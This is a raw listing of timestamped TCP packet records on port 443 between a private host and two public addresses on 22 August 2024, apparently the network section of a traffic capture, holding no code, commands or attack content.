Aug 22, 2024 13:10:38.003472090 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.003509998 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.003528118 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.003561020 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.003585100 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.003935099 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.003982067 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.004053116 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.004674911 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.004693985 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.005585909 CEST	49778	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.005635023 CEST	443	49778	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.005783081 CEST	49778	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.006040096 CEST	49778	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.006059885 CEST	443	49778	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.254223108 CEST	443	49775	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:38.258249044 CEST	49775	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.265146971 CEST	49775	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.265155077 CEST	443	49775	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:38.277695894 CEST	49775	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.277702093 CEST	443	49775	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:38.374886990 CEST	443	49776	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.377762079 CEST	49776	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.404278040 CEST	49776	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.404388905 CEST	443	49776	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:38.404501915 CEST	49777	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.404539108 CEST	49776	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.404544115 CEST	49778	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:38.404576063 CEST	49775	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.416754961 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.416795015 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:38.416876078 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.421212912 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.421226025 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:38.439574957 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.439596891 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:38.439677000 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.440685034 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:38.440692902 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.082724094 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.082793951 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.083271980 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.083342075 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.083472013 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.083518028 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.084043980 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.084100962 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.098736048 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.098754883 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.098982096 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.099037886 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.099967003 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.101205111 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.101214886 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.101450920 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.101490974 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.101871967 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.140506029 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.148503065 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.475652933 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.475728989 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.475742102 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.475785017 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.475811958 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.475862026 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.475874901 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.475912094 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.475913048 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.475934982 CEST	443	49780	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.476068020 CEST	49780	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.476073980 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.476106882 CEST	443	49779	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.476150036 CEST	49779	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.476689100 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.476713896 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.476826906 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.476857901 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.476877928 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.476947069 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.477392912 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.477401972 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.477428913 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:39.477441072 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:39.478693962 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:39.478743076 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:39.478872061 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:39.478894949 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:39.478925943 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:39.478981972 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:39.479208946 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:39.479226112 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:39.479274988 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:39.479289055 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.118038893 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.118128061 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.121668100 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.121682882 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.121927977 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.122056007 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.122425079 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.123676062 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.123748064 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.125298023 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.125312090 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.125825882 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.125890970 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.126219988 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.132169962 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.132260084 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.133234978 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.133421898 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.136938095 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.136946917 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.137187958 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.137253046 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.137614012 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.146327972 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.146472931 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.147155046 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.147218943 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.148894072 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.148915052 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.149187088 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.149240971 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.149554014 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.164506912 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.168538094 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.184495926 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.192507029 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.537621975 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.537712097 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.537750959 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.537795067 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.537911892 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.537961006 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.538120031 CEST	443	49783	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.538121939 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.538326025 CEST	49783	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.538541079 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.538573027 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.538645029 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.538942099 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.538953066 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.539813042 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.539863110 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.539869070 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.539892912 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.539942026 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.539977074 CEST	49782	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.539985895 CEST	443	49782	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.540577888 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.540621042 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.540684938 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.540846109 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:40.540864944 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:40.561049938 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.561101913 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.561125040 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.561146975 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.561156988 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.561212063 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.561229944 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.561383009 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.563765049 CEST	49784	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.563776970 CEST	443	49784	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.571962118 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.571985960 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.572043896 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.591752052 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.591773033 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.747153044 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.747242928 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.747242928 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.747262955 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.747332096 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.747344971 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.747587919 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.747648001 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.748265982 CEST	49785	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.748281002 CEST	443	49785	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.748851061 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.748869896 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:40.749037027 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.749325991 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:40.749337912 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.202018976 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.202095985 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.202794075 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.202838898 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.207093000 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.207117081 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.207365990 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.207420111 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.207825899 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.233819008 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.233901978 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.234580994 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.234591007 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.234734058 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.234739065 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.248501062 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.282253027 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.282320023 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.283023119 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.283076048 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.284702063 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.284710884 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.284940004 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.285020113 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.285353899 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.328510046 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.615809917 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.615917921 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.616414070 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.616422892 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.616585016 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.616590977 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.617418051 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.617489100 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.617549896 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.617691040 CEST	49789	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.617706060 CEST	443	49789	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.618343115 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.618376970 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.618443012 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.618652105 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.618666887 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.662616968 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.662662029 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.662678003 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.662693024 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.662703991 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.662744045 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.662750006 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.662763119 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.662805080 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.663633108 CEST	49790	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.663644075 CEST	443	49790	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.664108038 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.664143085 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.664215088 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.664520025 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:41.664534092 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:41.676445961 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.676505089 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.676517963 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.676579952 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.676635027 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.676680088 CEST	443	49788	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.676732063 CEST	49788	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.677043915 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.677073002 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:41.677300930 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.677493095 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:41.677504063 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.076004982 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.076071024 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.076080084 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.076097012 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.076141119 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.076179028 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.076222897 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.076236010 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.076256037 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.076299906 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.077130079 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.077148914 CEST	443	49791	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.077158928 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.077209949 CEST	49791	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.077971935 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.078006029 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.078069925 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.078397989 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.078421116 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.259452105 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.259560108 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.260217905 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.260318041 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.263664007 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.263676882 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.263915062 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.263977051 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.264424086 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.308502913 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.341394901 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.341475010 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.342226028 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.342315912 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.344260931 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.344276905 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.344543934 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.344665051 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.345215082 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.354396105 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.354579926 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.354902983 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.354912996 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.356554985 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.356559992 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.388506889 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.651021957 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.651206970 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.651235104 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.651427031 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.651439905 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.651452065 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.651527882 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.651540041 CEST	443	49792	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.651556015 CEST	49792	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.652272940 CEST	49797	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.652307987 CEST	443	49797	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.652416945 CEST	49797	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.652772903 CEST	49797	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.652797937 CEST	443	49797	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.738490105 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.738622904 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.745340109 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.745763063 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.745780945 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.746617079 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.746691942 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.747643948 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.747651100 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.748248100 CEST	49794	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.748264074 CEST	443	49794	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.748502016 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.748506069 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.749142885 CEST	49798	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.749188900 CEST	443	49798	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.749844074 CEST	49798	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.750058889 CEST	49798	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:42.750080109 CEST	443	49798	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:42.785758972 CEST	443	49793	216.58.212.129	192.168.2.8
